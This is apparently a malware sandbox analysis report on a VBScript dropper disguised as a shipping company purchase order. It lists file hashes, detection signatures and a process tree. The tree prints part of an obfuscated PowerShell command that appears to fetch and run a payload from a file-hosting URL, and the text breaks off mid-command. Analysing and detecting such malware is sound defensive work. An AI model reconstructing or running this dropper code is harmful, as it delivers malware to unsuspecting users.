Edit tour
Windows
Analysis Report
BOLUDA CORPORACI#U00d3N MAR#U00cdTIMA, S.L. PEDIDO 268e44.vbs
Overview
General Information
Sample name: | BOLUDA CORPORACI#U00d3N MAR#U00cdTIMA, S.L. PEDIDO 268e44.vbsrenamed because original name is a hash value |
Original sample name: | BOLUDA CORPORACIN MARTIMA, S.L. PEDIDO 268e44.vbs |
Analysis ID: | 1540405 |
MD5: | 7b8f65c95deba3838f09c3c5e8f06c0c |
SHA1: | 23f1d2f39788402c16ba1f5d6932eb4bef6df983 |
SHA256: | da852e6aeab8c6422eecc57d741aae2a49abd26ee2d29185c0fa8f898f4bdf71 |
Tags: | vbsuser-malwarelabnet |
Infos: | |
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell download and execute
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 5848 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\BOLUD A CORPORAC I#U00d3N M AR#U00cdTI MA, S.L. P EDIDO 268e 44.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 432 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" " <#Licenc e Skafotte rnes Brdls es Brnetes tamente #> ;$Cabrera= 'Glassenes ';<#Jottin g Slubberi ng Overfor tolkninger s Farvefje rnsynene # >;$Bevarin gsforansta ltning=$Uu dgrundelig +$host.UI; function Osmate11($ Samlets80) {If ($Beva ringsforan staltning) {$Unsavor edness++;} $Forblst=$ Baktericid e+$Samlets 80.'Length '-$Unsavor edness; fo r( $Udstyk ningsomraa dets=5;$Ud stykningso mraadets - lt $Forbls t;$Udstykn ingsomraad ets+=6){$S komagerdre ngenes=$Ud stykningso mraadets;$ Daschagga+ =$Samlets8 0[$Udstykn ingsomraad ets];$Maur ers='Dicty oceratine' ;}$Daschag ga;}functi on Semical careous($P assionless ness){ . ($Duplic identata) ($Passionl essness);} $fremstill ingsevnen= Osmate11 ' HakkeMUdsp roStortz G alliUnclel Un elBene naVrigh/Va som ';$fre mstillings evnen+=Osm ate11 'Rhi o5Anlgs. Habi0Sblad Lyrik( ee tW,ndesiF ldlnNoterd OpsejoJeho vwm,ness d bg CyrtoN ProvTUnwr a T oto1sp hen0Exter. Lymph0Hvin e; Unaf Aa ndeWBor.ei For un edb u6Fllet4 e sul;Nonsy Adipox Vil n6F rma4Fr eja;Relie InterA tri vIkld.: Ri be1Bffel3T .ran1Kobra .L.mai0 Ma r )Ulvef D i opG.ncan eHoeincUnd erkS,idso step/Bjerg 2Huma 0 il ox1Forsi0A nhng0Un,am 1 Gab.0Afd el1Fikt An ticFS.aabi madolrSyst eeTaihofAm b yoTrestx unap/Noma r1T ppe3Mi nis1Kamos. me,er0Rean ';$Lingvi sternes=Os mate11 'Du kseU .oncS a.oeteUdle vrForli-Go daA linjG Pr vlESepa .NMotorTTe gng ';$For drvende=Os mate11 'Va sk hCi.dat ventDibla p vandsDep la: Pres/ hets/foreo dSaprorMa itiNo mavB yggeem ste .SlatigHus geoSibneo Reklg Sats lNonfue st rm.C.fffcb rouioCh,va mErsta/Pe. iouHidroc uffi?Fault e paraxAxo nopGerero A.rarF rsk tAnnas=Reg edSeedioV iolawProgr n,turklsti lo Bulmat ilkbdLacor &Vap.riAno ind Gash=T ymba1Gangl TDeleseKnu drJOldfrPL ovtel Resn tPantiNJon gltepaulbO pal J sh,e E,fterIcom pouMasseRE rhveN Vers ZPo.no9Ger atmBrnde2A fbetaAnneb UForl p Bo rgCThuriSN azir0 Te.e lBlemoWind tjzFootbqS wimm0C ron D MystyEnt er ';$sort smusket=Os mate11 ',c arp>Ligki ';$Duplici dentata=Os mate11 ' L eveiFattie Va thXKabi n ';$Nasal ises='Fila menterne'; $Friktions koefficien terne='\Be nzinforhan dlers.xan' ;Semicalca reous (Osm ate11 ' T. pe$SlutngT rkulLBest, O GradbKra fAUnheaLc entr:Dis,u f UnhorBel fasoutnut Une.EGla i h ivena Re tainhibNH oarsdDiske sJ urnvSan geI,ysseDr hamnEAfskr nEffem9Ori um3Circu=A .sac$Fdsel eOutwoN eb rV eten:C. ffea ubtrp RadioPBred bd Glyca I socT ,loda Ang.e+ S,b s$Patenfch emorMiscoi JeeptKArbe jtDis,riNo nseoSynkrn OvermsSgno mKTrmanO S ubvE,ibroF VedhnFReco ILinkbCbr an.iIndehE SuspeNTade stDomm,E k or rklammN Data eHofn a ');Semic alcareous (Osmate11 'gudma$ Mu lkGekstrLT